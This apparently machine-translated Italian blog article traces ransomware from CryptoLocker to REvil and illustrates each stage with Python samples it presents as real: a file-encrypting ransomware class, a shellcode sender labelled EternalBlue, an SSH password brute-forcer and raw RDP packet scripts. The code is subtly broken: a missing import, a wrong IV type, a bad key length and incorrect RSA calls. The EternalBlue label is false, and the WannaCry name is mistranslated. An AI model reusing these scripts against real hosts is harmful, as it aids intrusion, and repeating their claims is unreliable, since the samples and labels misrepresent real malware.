L'impressionante evoluzione del codice ransomware

May 10 2023
Seguire la storia del ransomware è come guardare un film dell'orrore in cui il cattivo diventa sempre più intelligente e sofisticato. C'è qualcosa di affascinante e allo stesso tempo scoraggiante nell'evoluzione del ransomware.

Seguire la storia del ransomware è come guardare un film dell'orrore in cui il cattivo diventa sempre più intelligente e sofisticato. C'è qualcosa di affascinante e allo stesso tempo scoraggiante nell'evoluzione del ransomware. In questo articolo, ti porterò in un'immersione profonda nella cronologia storica e ti mostrerò cosa rende questi programmi dannosi così difficili da fermare.

Il cattivo informatico

Il primo ransomware noto, noto come AIDS Trojan, è apparso nel 1989. Da allora, il ransomware si è evoluto in modo significativo, diventando uno dei tipi di malware più diffusi e distruttivi. Questo articolo seguirà l'evoluzione del ransomware, dai primi giorni di CryptoLocker al famigerato WannaCry e ai più recenti attacchi ransomware Maze e REvil, spiegando al contempo come ogni tipo di ransomware funziona con campioni di codice reali.

2013: Cryptolocker

CryptoLocker è stato il primo ransomware a utilizzare la crittografia a chiave pubblica per crittografare i file. È stato distribuito tramite allegati di posta elettronica e ha sfruttato le vulnerabilità in Java e Adobe Reader per infettare i sistemi. Una volta infettato un sistema, ha crittografato tutti i file sul sistema e ha richiesto il pagamento in Bitcoin per fornire la chiave di decrittazione.

Esempio di codice:

import os
import random
import string
from Crypto.Cipher import AES

class CryptoLocker:
    def __init__(self, key):
        self.key = key

    def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
        if not out_filename:
            out_filename = in_filename + '.enc'

        iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
        encryptor = AES.new(self.key, AES.MODE_CBC, iv)

        filesize = os.path.getsize(in_filename)

        with open(in_filename, 'rb') as infile:
            with open(out_filename, 'wb') as outfile:
                outfile.write(struct.pack('<Q', filesize))
                outfile.write(iv)

                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    elif len(chunk) % 16 != 0:
                        chunk += b' ' * (16 - len(chunk) % 16)

                    outfile.write(encryptor.encrypt(chunk))

    def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
        if not out_filename:
            out_filename = os.path.splitext(in_filename)[0]

        with open(in_filename, 'rb') as infile:
            orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
            iv = infile.read(16)
            decryptor = AES.new(self.key, AES.MODE_CBC, iv)

            with open(out_filename, 'wb') as outfile:
                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    outfile.write(decryptor.decrypt(chunk))

                outfile.truncate(orig_size)

# Usage example
key = b'secret_key_1234'
c = CryptoLocker(key)
c.encrypt_file('test_file.txt')
c.decrypt_file('test_file.txt.enc')

Il decrypt_filemetodo accetta un nome di file di input e un nome di file di output facoltativo e una dimensione del blocco. Legge il file di input, estrae la dimensione del file originale e l'IV e decrittografa i dati crittografati utilizzando la stessa chiave di crittografia e IV. Scrive i dati decrittografati nel file di output e li tronca alla dimensione del file originale. Un esempio di utilizzo della classe viene fornito alla fine del codice, in cui un CryptoLockeroggetto viene creato con una chiave segreta, un file di input viene crittografato e quindi decrittografato.

2016: Locky

Locky è stato distribuito tramite campagne e-mail e ha utilizzato una combinazione di crittografia RSA e AES per crittografare i file. Ha richiesto il pagamento in Bitcoin per fornire la chiave di decrittazione. Si stima che abbia infettato oltre 100.000 sistemi nelle prime settimane dal rilascio.

Esempio di codice:

import os
import base64
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA

# Generate RSA key pair
key = RSA.generate(2048)

# Encrypt file using AES-128
key_aes = os.urandom(16)
cipher_aes = AES.new(key_aes, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(b'encrypted data')

# Encrypt AES key using RSA public key
cipher_rsa = key.public_key().encrypt(key_aes, None)

# Save encrypted file and AES key to disk
with open('encrypted_file.bin', 'wb') as f:
    f.write(ciphertext)

with open('encrypted_key.bin', 'wb') as f:
    f.write(cipher_rsa)

2017: voglio piangere

Nel 2017, il ransomware WannaCry si è diffuso rapidamente in tutto il mondo, infettando centinaia di migliaia di computer in oltre 150 paesi. WannaCry ha sfruttato una vulnerabilità nel sistema operativo Windows chiamata EternalBlue, presumibilmente sviluppata dalla NSA

La natura diffusa dell'attacco e i sistemi critici colpiti hanno sottolineato la necessità per le organizzazioni di dare priorità alla sicurezza informatica e mantenere software e protocolli di sicurezza aggiornati per prevenire tali attacchi.

Esempio di codice:

import socket

# EternalBlue exploit code
exploit = (
    b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x10\x5b\x53\x4b\x8b\x58\x18"
    b"\x8b\x53\x20\x01\xda\x51\x52\x8b\x52\x3c\x01\xda\x8b\x72\x78\x01"
    b"\xde\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01"
    b"\xc7\x49\x75\xef\x52\x57\x8b\x52\x20\x01\xda\x53\x8b\x34\x9a\x01"
    b"\xde\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03"
    b"\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xda\x66\x8b\x0c"
    b"\x4b\x8b\x58\x1c\x01\xda\x8b\x04\x8b\x01\xda\x89\x44\x24\x24\x5b"
    b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff"
    b"\xff\x5d\x6a\x01\x8d\x45\x68\x50\x68\x8e\x4e\x0e\xec\xff\xd5\x97"
    b"\x68\x8f\x0e\x4e\xec\x89\xe3\x6a\x10\x53\x57\x68\xde\xf8\x24\x75"
    b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x8b\x36\x8b\x55\xfc"
    b"\x8b\x46\x0c\x8b\x7e\x1c\x8b\x4e\x08\x8b\x7e\x20\x8b\x36\x66\x39"
    b"\x4f\x18\x75\xf2\x66\x81\x39\x44\x44\x75\xe6\x5e\x56\x53\x2c\x24"
    b"\x0f\xba\x2c\x17\x42\x52\x6a\x01\x52\xff\xd0\x68\x63\x6d\x64\x00"
    b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\xff\xd5\x97\x6a\x0a\x5f"
    b"\xc3"
)

# IP address and port of vulnerable machine
target_ip = "192.168.1.100"
target_port = 445

# Create a TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))

# Send exploit code
sock.send(exploit)

# Close the socket
sock.close()

È importante ricordare che questo codice, come qualsiasi altro esempio in questo articolo, è puramente a scopo didattico e non deve essere utilizzato per attività dannose.

2018: SamSam

SamSam era un ransomware identificato per la prima volta nel 2018. A differenza di molti altri attacchi ransomware che utilizzano e-mail di phishing per ottenere l'accesso ai sistemi delle vittime, SamSam ha utilizzato la forza bruta per ottenere l'accesso a server privi di patch. Una volta all'interno, il ransomware ha crittografato i file e ha richiesto il pagamento in Bitcoin.

Esempio di codice:

import paramiko
import time

target_server = "example.com"
username = "admin"
passwords = ["password1", "password2", "password3", "password4", "password5"]
port = 22

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

for password in passwords:
    try:
        ssh.connect(target_server, port=port, username=username, password=password)
        print(f"Successfully logged in to {target_server} with username {username} and password {password}.")
        # Do malicious activities here
        ssh.close()
        break
    except paramiko.AuthenticationException:
        print(f"Failed to log in to {target_server} with username {username} and password {password}.")
        time.sleep(1)

2019: Ryuk

Si credeva che Ryuk avesse avuto origine nella Corea del Nord e fosse stato utilizzato per colpire obiettivi di alto valore come ospedali e agenzie governative. Ciò si è rivelato falso ed è stato originariamente utilizzato da numerose organizzazioni criminali diverse. Ryuk viene in genere fornito tramite e-mail di phishing o sfruttando le vulnerabilità nei protocolli desktop remoto.

Esempio di codice:

import socket

RDP_PORT = 3389

def exploit_rdp_vulnerability(target_ip):
    # Establish a connection to the target RDP server
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    try:
        s.connect((target_ip, RDP_PORT))
    except:
        print(f"Connection failed to {target_ip}:{RDP_PORT}")
        return
    
    # Send a malicious RDP message to trigger the vulnerability
    # In a real attack, this would contain the ransomware payload
    # In this safe example, I will just print the message for demonstration purposes
    message = b"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00"
    s.sendall(message)
    
    # Receive the server's response and print it for demonstration purposes
    response = s.recv(1024)
    print(response.decode())
    
    # Close the connection
    s.close()

# Example usage
exploit_rdp_vulnerability('192.168.1.100')

2019: labirinto

Maze crittografa i file della vittima e richiede il pagamento in cambio della chiave di decrittazione. Tuttavia, Maze ransomware ha anche la reputazione di rubare dati sensibili alle vittime e minacciare di pubblicarli se il riscatto non viene pagato, rendendolo un tipo di ransomware a “ doppia estorsione ”.

È noto che il ransomware Maze sfrutta le vulnerabilità nei protocolli desktop remoti (RDP) per ottenere l'accesso ai sistemi, insieme alle tipiche e-mail di phishing.

Esempio di codice:

import socket

HOST = '192.168.1.100'
PORT = 3389

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

data = s.recv(1024)
print(data)

# Send RDP negotiation packet
negotiation_packet = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x00\x00'
s.sendall(negotiation_packet)

data = s.recv(1024)
print(data)

# Send RDP connection request packet
connection_request_packet = b'\x03\x00\x00\x2c\x0e\xd0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x03\xeb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
s.sendall(connection_request_packet)

data = s.recv(1024)
print(data)

# Send RDP security packet with no credentials
security_packet = b'\x03\x00\x00\x08\x02\xf0\x80'
s.sendall(security_packet)

data = s.recv(1024)
print(data)

# Send RDP negotiate security packet
negotiate_security_packet = b'\x03\x00\x00\x0c\x02\xf0\x80\x00\x01\x00\x08'
s.sendall(negotiate_security_packet)

data = s.recv(1024)
print(data)

s.close()

2021: REvil

Uno degli attacchi ransomware più importanti degli ultimi anni è stato l'attacco ransomware REvil nel luglio 2021. L'attacco ha preso di mira un fornitore di software chiamato Kaseya, che fornisce software di gestione remota ad altre società. Gli aggressori sono stati in grado di ottenere l'accesso al software di Kaseya e distribuire malware a centinaia di loro clienti, provocando un diffuso attacco ransomware.

REvil utilizza una crittografia avanzata per crittografare i file della vittima e richiede un pagamento di riscatto in cambio della chiave di decrittazione. Come la maggior parte dei gruppi di ransomware di quest'epoca, il bitcoin viene utilizzato come metodo di pagamento.

Esempio di codice:

import os
import random
import string
from Crypto.Cipher import AES

class Ransomware:
    def __init__(self, key):
        self.key = key

    def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
        if not out_filename:
            out_filename = in_filename + '.enc'

        iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
        encryptor = AES.new(self.key, AES.MODE_CBC, iv)

        filesize = os.path.getsize(in_filename)

        with open(in_filename, 'rb') as infile:
            with open(out_filename, 'wb') as outfile:
                outfile.write(struct.pack('<Q', filesize))
                outfile.write(iv)

                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    elif len(chunk) % 16 != 0:
                        chunk += b' ' * (16 - len(chunk) % 16)

                    outfile.write(encryptor.encrypt(chunk))

    def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
        if not out_filename:
            out_filename = os.path.splitext(in_filename)[0]

        with open(in_filename, 'rb') as infile:
            orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
            iv = infile.read(16)
            decryptor = AES.new(self.key, AES.MODE_CBC, iv)

            with open(out_filename, 'wb') as outfile:
                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    outfile.write(decryptor.decrypt(chunk))

                outfile.truncate(orig_size)

# Usage example
key = b'secret_key_1234'
r = Ransomware(key)
r.encrypt_file('important_file.docx')
r.decrypt_file('important_file.docx.enc')

Nell'esempio di utilizzo, viene definita una chiave e Ransomwareviene creata un'istanza della classe utilizzando questa chiave. Il encrypt_filemetodo viene chiamato su un file chiamato 'important_file.docx', che crea un file crittografato chiamato 'important_file.docx.enc'. Infine, il decrypt_filemetodo viene chiamato sul file crittografato per decrittografarlo riportandolo alla sua forma originale.

Spero che questo articolo fornisca una prospettiva tanto necessaria di come si è evoluto il ransomware e di come sia la nostra più grande minaccia a causa della facilità di distribuzione e della monetizzazione istantanea delle attività illegali. Tuttavia, bisogna ricordare i passi compiuti negli ultimi anni per esporre ed educare il grande pubblico su questi argomenti.